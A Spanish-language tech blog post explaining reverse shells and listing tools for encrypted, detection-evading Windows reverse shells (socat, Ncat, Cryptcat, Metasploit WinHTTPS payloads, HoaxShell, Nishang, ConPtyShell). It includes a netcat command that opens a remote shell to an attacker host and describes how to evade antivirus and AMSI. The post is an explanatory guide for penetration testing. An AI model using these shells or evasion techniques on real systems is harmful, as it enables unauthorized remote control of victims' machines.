Tutoriales y Manuales
Entradas Mensuales
-
▼
2025
(Total:
222
)
-
▼
febrero
(Total:
57
)
- Cloudflare Tunnels
- ¿Qué es una shell inversa?
- Le Chat, la IA más avanzada hecha en Europa
- Google Gemini 2.0 Pro IA
- ChatGPT en WhatsApp
- Filtrados los datos personales de 3 millones de us...
- Movistar España bloquea internet en un intento por...
- Thunderbolt vs USB-C: qué son, diferencias y cómo ...
- El Reino Unido ordena a Apple que le permita acced...
- Inteligencia artificial en local en tu PC
- Qué fuente de alimentación elegir según la tarjeta...
- Tecnología RTX Neural de nvidia
- Mizuno confirma ataque ransomware BianLian con fil...
- Múltiples vulnerabilidades críticas en productos d...
- WinScript permite personalizar, optimizar y config...
- Cloudflare Turnstile: una nueva alternativa a reCA...
- NanaZip 5.0: todas las novedades del mejor compres...
- Barcelona Supercomputing Center (BSC) estrena prim...
- Cisco corrige vulnerabilidades críticas de ISE que...
- Logran ejecutar DOOM en un adaptador de Lightning ...
- Aprovechan vulnerabilidad de IIS de hace 6 años pa...
- Exingeniero de Google es acusado en EEUU de robar ...
- Vulnerabilidad zero-day crítica en Android
- Verificación de identidad o 'Identity check' : la ...
- Europa quiere prohibir el envío de consolas a Rusi...
- La Comisión Europea quiere acabar con la exención ...
- DeepSeek: Una investigación revela a dónde van tus...
- Google cambia las directrices de su IA y elimina u...
- Detenido en Alicante 'Natohub,' de 18 años que hac...
- Diferencias y velocidades entre PCIe Gen 4 y PCIe ...
- OCuLink, el mejor conector para gráficas externas ...
- Así es la pila atómica que ha presentado China cap...
- Instalar DeepSeek en local en Android con Termux
- Todos los modelos de IA de OpenAI
- Las impresoras 3D en Estados Unidos podrían ser in...
- El Pentágono bloquea DeepSeek en menos de una sema...
- Limpieza y mantenimiento de una tarjeta gráfica
- Conectores PCI Express x16, x8, x4 y x1: diferenci...
- Reportan algunos problemas para las GeForce RTX 5090
- Microsoft presenta el Surface USB4 Dock por 99$
- NVIDIA Studio Voice convierte el mediocre micrófon...
- OpenAI quiere diseñar robots humanoides impulsados...
- Europa anuncia OpenEuroLLM, su plan para plantarle...
- OpenAI quiere reemplazar los smartphones con un di...
- Análisis de las principales vulnerabilidades explo...
- WhatsApp detecta un ataque de spyware tipo Pegasus...
- El coste real de DeepSeek no fue de 6 millones de ...
- Windows Paint tendrá un botón de Copilot para acel...
- Guía DeepSeek: funciones y cosas que puedes hacer ...
- Cómo utilizar un SSD NVMe en Raspberry Pi
- OpenAI responde a DeepSeek publicando o3 para todos
- Cómo crear gráficos a partir de datos con ChatGPT
- App falsa de DeepSeek roba datos en Mac
- Deep Research, nueva herramienta de investigación ...
- NoName057 realiza nuevos ataques DDoS España: a la...
- Detenida en Valencia una pareja clave en la gestió...
- Manual funcionamiento GParted (edita, modifica y r...
-
▼
febrero
(Total:
57
)
-
►
2024
(Total:
1110
)
- ► septiembre (Total: 50 )
-
►
2023
(Total:
710
)
- ► septiembre (Total: 65 )
-
►
2022
(Total:
967
)
- ► septiembre (Total: 72 )
-
►
2021
(Total:
730
)
- ► septiembre (Total: 56 )
-
►
2020
(Total:
212
)
- ► septiembre (Total: 21 )
-
►
2019
(Total:
102
)
- ► septiembre (Total: 14 )
-
►
2017
(Total:
231
)
- ► septiembre (Total: 16 )
-
►
2016
(Total:
266
)
- ► septiembre (Total: 38 )
-
►
2015
(Total:
445
)
- ► septiembre (Total: 47 )
-
►
2014
(Total:
185
)
- ► septiembre (Total: 18 )
-
►
2013
(Total:
100
)
- ► septiembre (Total: 3 )
-
►
2011
(Total:
7
)
- ► septiembre (Total: 1 )
Blogroll
Etiquetas
Entradas populares
-
Existen muchas herramientas que nos permiten tener un mayor control sobre el sistema como DoNotSpy11 o la popular WinAero Tweaker . Ahora n...
-
El primer ordenador cuántico de tecnología 100% europea de España ya está operativo en el Barcelona Supercomputing Center (BSC). El nuevo c...
-
El 28 de septiembre de 2022, el proveedor de CDN CloudFlare presentó una alternativa a CAPTCHA fácil de usar, llamada Turnstile . Los usuar...
¿Qué es una shell inversa?
Una reverse shell (o "shell inversa") es una técnica utilizada en ciberseguridad y piratería informática que implica establecer una conexión entre un atacante y una máquina objetivo, permitiendo al atacante ejecutar comandos en la máquina remota de forma remota. Esta técnica es comúnmente utilizada por los hackers para obtener acceso no autorizado a sistemas informáticos y tomar el control de ellos.
Una "shell inversa" (reverse shell) es una técnica utilizada en ciberseguridad que permite la comunicación remota con un sistema comprometido. En un escenario normal, un cliente se comunica con un servidor que escucha activamente las conexiones entrantes; sin embargo, en una shell inversa, estos roles se invierten.
¿Qué es una shell inversa?
Una shell es una terminal conectada a distancia con otra que permite
ejecutar comandos de manera remota en un servidor. Esto es útil en
diferentes escenarios, pero, sobre todo, puede ser aprovechado por un atacante para robar información sensible o ejecutar tareas maliciosas en un sistema.
Una shell inversa se refiere a un proceso en el que la máquina de la víctima se conecta a la del atacante para recibir comandos. Es una técnica eficiente, ya que evade los firewalls y filtros de seguridad del tráfico que ingresa al ordenador. Por eso, los atacantes suelen utilizar este tipo de shells y es recomendable también hacerlo en tests de intrusión.
Una shell directa, por el contrario, es mucho menos utilizada, pero vale la pena saber que existe y que se puede ejecutar. Se refiere a un proceso mediante el cual la máquina del atacante se conecta a la de la víctima, con el fin de enviarle comandos para ejecutar. Ahora bien, este proceso es menos recomendable, ya que entonces necesitaría pasar todos los filtros de seguridad de tráfico web de un ordenador. Por eso, no se suele utilizar.
¿Qué es una Shell Inversa?
Comunicación Invertida: En lugar de que el atacante (cliente) inicie una conexión al sistema comprometido (servidor), el sistema comprometido establece la conexión con el atacante. Esto es especialmente útil para sortear firewalls y otros sistemas de seguridad que pueden bloquear las conexiones entrantes pero permiten las salientes.
Control Remoto: Una vez establecida la conexión, la shell inversa permite al atacante controlar el sistema a través de la línea de comandos o, en casos más avanzados, mediante una interfaz gráfica de usuario, permitiendo la ejecución de comandos, la manipulación de archivos, y otras actividades.
Uso de PowerShell en Red Teaming y Active Directory:
Integración con Windows: PowerShell es una interfaz de línea de comandos y lenguaje de scripting incorporado en Windows, lo que lo hace disponible en casi todos los sistemas Windows sin requerir la instalación de software adicional.
Acceso y Manipulación de Active Directory: PowerShell proporciona comandos y acceso directo a los servicios de Active Directory, lo que permite a los usuarios crear, modificar y eliminar objetos de AD, ejecutar consultas, y administrar políticas y seguridad. En manos de un atacante, esto se puede utilizar para explotar configuraciones incorrectas, escalar privilegios y moverse lateralmente en la red.
Ejecución de Scripts: Los atacantes pueden utilizar PowerShell para ejecutar scripts maliciosos y comandos en la memoria (técnica conocida como "fileless" o sin archivo), reduciendo la posibilidad de detección por antivirus que monitorean principalmente el sistema de archivos.
Bypass de Controles de Seguridad: PowerShell permite a los atacantes evadir controles de seguridad mediante la utilización de técnicas avanzadas como la inyección de DLLs, reflexión, y la invocación de código C# directamente desde scripts de PowerShell.
Necesidad de Cargas Útiles Indetectables:
Evasión de Antivirus/Antimalware: Las soluciones modernas de antivirus y antimalware utilizan una combinación de firmas, heurísticas y análisis de comportamiento para detectar amenazas. Las cargas útiles deben ser indetectables (a menudo mediante ofuscación, empaquetamiento o cifrado) para evitar estas detecciones y permitir la ejecución exitosa del ataque.
Mantenimiento del Acceso: En operaciones de red team, a menudo es importante mantener el acceso al sistema comprometido para realizar reconocimiento, exfiltración de datos o establecimiento de presencia persistente. Una carga útil detectable puede ser eliminada por soluciones de seguridad, interrumpiendo la operación.
Efectividad de la Simulación de Amenazas: Las operaciones de red team tienen como objetivo simular ataques reales y avanzados. Dado que los actores de amenazas reales están constantemente desarrollando cargas útiles indetectables, el red team debe hacer lo mismo para proporcionar una evaluación realista de la postura de seguridad de una organización.
Cómo crear una reverse shell cifrada
Para ver claramente lo que pasa cuando se establece una conexión reversa con netcat u otra utilidad, se puede iniciar un sniffer y capturar el tráfico. Si la herramienta o rutina utilizada no implementa algún mecanismo de cifrado, se podrán ver en los paquetes de datos los comandos enviados por el atacante y las respuestas devueltas por la víctima.
Socat con OpenSSL
Partiendo del fichero PEM generado anteriormente, otra alternativa que puede ser interesante consiste en utilizar Socat. El procedimiento también es muy sencillo, aunque en la máquina comprometida tiene que estar instalada dicha herramienta y este requisito no siembre se cumple. En todo caso, es otra opción que merece la pena conocer y tener en cuenta.
Cifrar la conexión con Ncat
Nc.exe
Al igual que tenemos netcat en linux y sus respectivos binarios para ese sistema, existen los binarios respectivos para Windows, tanto de 32 bits (nc.exe) como de 64 bits (nc64.exe), se pueden descargar desde aquí.
En este caso, podemos además de descargarlo y ejecutarlo, ejecutarlo directamente desde un recurso compartido que nosotros nos montemos (esto lo comento como alternativa a la descarga de un ejecutable).
La sintaxis del nc.exe sería la siguiente:
nc.exe -e cmd.exe <ip> <puerto>
Ncat ha sido desarrollada con la idea de evolucionar Netcat y soportar protocolos como TCP y UDP sobre IPv4/IPv6. Partiendo de esta idea, es tan potente como Socat y permite establecer todo tipo de conexiones siguiendo el modelo cliente-servidor. Una de alternativas de uso de Ncat consiste en el cifrado de la conexión, sin embargo, tal y como ocurre con Socat, la herramienta debe estar instalada tanto en el cliente como en el servidor.
Cifrado con Cryptcat
Es una herramienta de la que ya se ha hablado en este post en dos ocasiones: aquí y aquí. Por lo tanto no me extenderé demasiado, solamente mencionar que funciona tanto para sistemas Windows y Linux, cifra el tráfico usando Twofish y permite el establecimiento de una clave simétrica compartida.
Payloads de Metasploit Framework
En el mundo de Metasploit Framework existen algunos payloads que soportan el cifrado extremo a extremo y concretamente, los que permiten utilizar HTTPS por medio de la API WinHTTP son especialmente interesantes ya que permiten aplicar técnicas de “Certificate Pinning” de tal manera que el handler de Metasploit Framework solamente aceptará conexiones dependiendo del hash del certificado TLS/SSL establecido.
Para hacer esto se puede generar un certificado PEM utilizando OpenSSL
como se ha visto en el post anterior, pero existe otra opción que es
igualmente interesante y consiste en utilizar el módulo
“impersonate_ssl” disponible en Metasploit Framework.
Utilizar dicho módulo es muy sencillo ya que el único argumento que recibe es “RHOSTS” en donde se indica el dominio del que se extraerá su certificado y posteriormente se utilizará para generar uno nuevo autofirmado. Este módulo simplemente obtiene la información básica del certificado legitimo del sitio indicado y la utiliza para generar un fichero en formato PEM o DER.
El siguiente paso consiste en utilizar un payload de WinHTTP, por ejemplo windows/x64/meterpreter/reverse_winhttps. Simplemente, hay que tener en cuenta que se debe indicar el certificado autofirmado generado previamente y que es obligatorio verificar la conexión SSL con el stager.
Finalmente, basta con iniciar el handler de Metasploit para recibir la conexión, aunque se debe indicar el mismo payload y las opciones correctas, tal como se puede apreciar en vídeo de YouTube que acompaña éste post.
Usar HoaxShell para Windows
HoaxShell es un proyecto interesante que ha sido creado recientemente. Permite crear conexiones reversas por medio de powershell, lo que le hace especialmente interesante en entornos Windows. Cuenta con algunas pocas opciones, pero destacan aquellas que permiten establecer una conexión cifrada entre la víctima y el atacante, ya sea utilizando un certificado auto-firmado o uno confiable.
Cuando se ejecuta la herramienta, automáticamente genera el comando que se debe ejecutar en al máquina objetivo y levanta el puerto 8080 (HTTP) o 443 (HTTPS) para recibir conexiones.
Una vez se ejecuta el payload en la máquina víctima, se recibirá una shell con Powershell y como se ha mencionado antes, si se cifra el tráfico por medio de TLS con una clave y un certificado PEM, los paquetes de datos transmitidos entre víctima y atacante estarán cifrados, dificultando de esta manera la detección de la shell.
Otra característica interesante de esta shell es que el Windows Defender de Windows 10 y 11, en la fecha en la que se redacta este post, no detecta la ejecución del payload como una amenaza y el AMSI no realiza ningún tipo de bloqueo, permitiendo su ejecución. Aunque como siempre ocurre con este tipo de utilidades, es simplemente cuestión de tiempo para que empiece a ser detectado.
Msfvenom
Msfvenom no solo es útil cuando nos generamos shellcodes para los Buffer Overflow, también lo es para crear binarios que nos ejecuten una shell en Windows. En concreto, los dos payloads que nos pueden interesar (aunque hay más y de muchos tipos) son los siguientes:
Powershell Reverse Shell One-Liner
Powershell es un lenguaje muy potente y permite hacer muchisimas cosas, veremos scripts muy útiles después. Pero antes de ir a ellos, está bien saber que existe una sentencia de powershell la cual nos entabla una reverse shell y todo en un comando de una sola línea.
El comando en cuestión lo podéis encontrar en este enlace.
Personalmente, no recomiendo mucho esta forma, al menos, una ejecución directa, ya que, como podemos ver, es un comando el cual contiene muchísimos símbolos y muchas variables, lo cual puede dificultar su ejecución desde una webshell o una cmd, lo recomendable es ejecutarlo desde una powershell directamente.
En cualquier caso, siempre hay que conocer alternativas y opciones disponibles. Por lo que una vez dicho esto, procedemos con la ejecución, que es bastante sencilla, simplemente tenemos que cambiar la IP y el puerto del comando original:
Nishang
Nishang es un repositorio el cual contiene una gran cantidad de scripts de powershell usados para la seguridad ofensiva. Su repositorio oficial es el que podéis visitar en este enlace.
Entre todos los scripts que tiene, hay uno en concreto bastante famoso llamado «Invoke-PowerShellTcp.ps1«, el cual, como no, nos invoca una reverse shell con una powershell.
ConPtyShell
ConPtyShell es una herramienta la cual nos permite obtener una shell completamente interactiva en sistemas Windows. Esto quiere decir que podemos hacer Ctrl C sin peligro a perder la shell o podemos recuperar comandos usados previamente usando la flechita hacia arriba. Su repositorio oficial lo podéis encontrar en este enlace.
El proceso para ejecutarlo prácticamente va a ser el mismo que con el script de nishang, ya que este se trata de otro script de powershell.
Fuentes:
https://deephacking.tech/reverse-shells-en-windows/
https://thehackerway.es/2022/11/09/como-crear-una-reverse-shell-cifrada-parte-1-de-2/
0 comentarios :
Publicar un comentario
Los comentarios pueden ser revisados en cualquier momento por los moderadores.
Serán publicados aquellos que cumplan las siguientes condiciones:
- Comentario acorde al contenido del post.
- Prohibido mensajes de tipo SPAM.
- Evite incluir links innecesarios en su comentario.
- Contenidos ofensivos, amenazas e insultos no serán permitidos.
Debe saber que los comentarios de los lectores no reflejan necesariamente la opinión del STAFF.